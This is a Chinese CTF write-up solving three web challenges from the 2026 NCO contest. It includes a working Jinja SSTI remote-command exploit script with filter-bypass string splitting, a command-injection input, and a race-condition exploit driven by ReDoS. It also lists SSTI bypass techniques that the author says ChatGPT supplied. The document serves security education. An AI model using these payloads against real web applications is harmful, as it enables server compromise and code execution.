0x01个性签名生成器
题目链接2026-NCO-Quals/web/Web-中等夺旗-个性签名生成器/source.py at main · CTF-Archives/2026-NCO-Quals
启动后是如下界面,输入{{3*3}},返回渲染9,可以确定为SSTI模版注入。
127.0.0.1:5004/source 泄露部分源码
构造原始payload为cycler.init.globals['os'].popen('cat /tmp/flag.txt').read(),再通过拼接进行绕过。最终的exp如下
import re
import sys
import requests
from bs4 import BeautifulSoup
def extract_text(html: str) -> str:
"""从返回 HTML 中提取可读文本"""
soup = BeautifulSoup(html, "html.parser")
text = soup.get_text("\n")
text = re.sub(r"\n{2,}", "\n", text)
return text.strip()
def extract_flag(text: str) -> str | None:
"""尝试提取常见 flag 格式"""
patterns = [
r"NCO26\{[^}]+\}",
r"GZCTF\{[^}]+\}",
r"flag\{[^}]+\}",
r"FLAG\{[^}]+\}",
]
for p in patterns:
m = re.search(p, text)
if m:
return m.group(0)
return None
def exploit(target: str):
target = target.rstrip("/")
url = target + "/generate"
print("[+] Target URL:", url)
payload = "{{ cycler.__init__['__glo'+'bals__']['o'+'s']['po'+'pen']('cat /tmp/flag.txt')['read']() }}"
print("[+] Target:", target)
print("[+] Payload length:", len(payload))
print("[+] Sending payload...")
r = requests.post(
url,
data={"name": payload},
timeout=10
)
print("[+] HTTP status:", r.status_code)
text = extract_text(r.text)
flag = extract_flag(text)
if flag:
print("[+] Flag found:")
print(flag)
else:
print("[-] Flag not found directly. Response text:")
print(text)
if __name__ == "__main__":
exploit('http://127.0.0.1:5004')因为对SSTI不是特别熟悉,我让ChatGPT给了些可能替换的组件,它还列出来了config,request,self,url_for,get_flashed_messages,lipsum,namespace可以对cycler进行替换。
ChatGPT给出的常见绕过方法:
1. 字符串拼接
globals → 'glo'+'bals'
os → 'o'+'s'
2. attr 过滤器
obj|attr('__class__') 等价于obj.__class__,可以绕过点过滤
3. request.args 传参
request.args.a = __globals__,然后{{ obj|attr(request.args.a) }}就可以实现obj.__globals__
4. 十六进制/Unicode 编码
\x5f\x5fclass\x5f\x5f
5. 不同对象链替代
cycler / lipsum / url_for / get_flashed_messages / config
6. 不走命令执行,改走文件读取
open('/tmp/flag.txt').read()0x02 Web-Pino
环境文件https://github.com/CTF-Archives/2026-NCO-Final/blob/main/web/Web-Pino/app.py
启动后很熟悉的界面,一看就是联合命令执行
输入127.0.0.1&more<flag.txt即可获取flag

0x03 Web-What-CAN-I-Say
环境文件https://github.com/CTF-Archives/2026-NCO-Final/blob/main/web/Web-What-CAN-I-Say/app.py
启动后界面是这样的,在/debug 接口会泄露源码文件
重点关注/api/submit接口
@app.post("/api/submit")
def submit():
uid = uid_of()
if time.time() - session["start"] > CONTEST_SECONDS:
return jsonify(ok=False, msg="比赛已结束,无法提交"), 403
content = (request.form.get("content") or "").strip()
if not content:
return jsonify(ok=False, msg="内容为空"), 400
if len(content) > 512:
return jsonify(ok=False, msg="WriteUp 超过 512 字限制"), 400
lock = ai_lock[uid]
wid = None
if not lock.acquire(blocking=True, timeout=0.1):
wid = _ins_review(uid, content)
return jsonify(ok=True, msg="你的 WriteUp 已成功提交,待审核")
try:
has_flag = executor.submit(_has_nco26_flag, content).result(timeout=30)
if not has_flag:
_del_review(wid)
return jsonify(ok=False, msg="WriteUp 里需要贴上 flag (NCO26{...})")
if FLAG in content:
return jsonify(ok=True, msg=f"恭喜你获得了 FLAG!{FLAG}")
else:
_del_review(wid)
return jsonify(ok=False, msg="FLAG不对哦")
finally:
lock.release()在这部分有条件竞争,这部分代码的意思为尝试获取用户的锁,若获取失败则将提交的wp插入review中并且标记为待审核。否则对提交的wp进行判定,匹配其中的flag是否正确。
lock = ai_lock[uid] #设置lock为该uid用户的锁
wid = None
#若获取锁失败,将提交的wp插入review中并且标记为待审核
if not lock.acquire(blocking=True, timeout=0.1):
wid = _ins_review(uid, content)
return jsonify(ok=True, msg="你的 WriteUp 已成功提交,待审核")
try:
has_flag = executor.submit(_has_nco26_flag, content).result(timeout=30)
if not has_flag:
_del_review(wid)
return jsonify(ok=False, msg="WriteUp 里需要贴上 flag (NCO26{...})")
if FLAG in content:
return jsonify(ok=True, msg=f"恭喜你获得了 FLAG!{FLAG}")
else:
_del_review(wid)
return jsonify(ok=False, msg="FLAG不对哦")而在/api/status 接口中,其对正确性的判定在user_has_wp函数中,查看可以发现,是通过return bool(user_review.get(uid)) 进行判定的,就是检查在review中是否有该uid的文件,而我们刚刚只要通过条件竞争让其抢不到锁就能实现插入review!
@app.get("/api/status")
def status():
uid = uid_of()
remaining = max(0, CONTEST_SECONDS - (time.time() - session["start"]))
if user_has_wp(uid):
return jsonify(state="win", flag=FLAG)
if remaining > 0:
return jsonify(state="running", remaining=int(remaining))
return jsonify(state="mamba")def user_has_wp(uid):
with db_lock:
return bool(user_review.get(uid))此外再看匹配这部分,使用了( … * … * )* 就是嵌套星号,这是灾难性回溯的经典结构。因此如果匹配不到NCO26{…}会触发大量回溯,浪费时间,从而实现长时间占用锁!
def _has_nco26_flag(content: str) -> bool:
RULE = re.compile(
r"^([A-Za-z]*[0-9]*)*\s*(NCO26\{[^}]*\})\s*([A-Za-z]*[0-9]*)*$",
re.DOTALL | re.IGNORECASE,
)
return bool(RULE.match(content))最终exp如下
import time
import threading
import requests
TARGET = "http://127.0.0.1:5005"
s = requests.Session()
# 先访问首页,初始化 uid 和 start
s.get(TARGET + "/", timeout=5)
# 触发正则灾难性回溯,卡住 ai_lock
redos_payload = "A" * 30
def hold_lock():
try:
r = s.post(
TARGET + "/api/submit",
data={"content": redos_payload},
timeout=35
)
print("[first]", r.status_code, r.text[:100])
except Exception as e:
print("[first exception]", repr(e))
# 第一个请求拿锁并卡住
t = threading.Thread(target=hold_lock, daemon=True)
t.start()
# 确保第一个请求已经进入审核逻辑
time.sleep(0.2)
# 第二个请求,同一个 session,抢不到锁就会被直接插入 review_tbl
r = s.post(
TARGET + "/api/submit",
data={"content": "hello"},
timeout=5
)
print("[second]", r.status_code, r.text)
# 查询状态,拿 flag
r = s.get(TARGET + "/api/status", timeout=5)
print("[status]", r.status_code, r.text)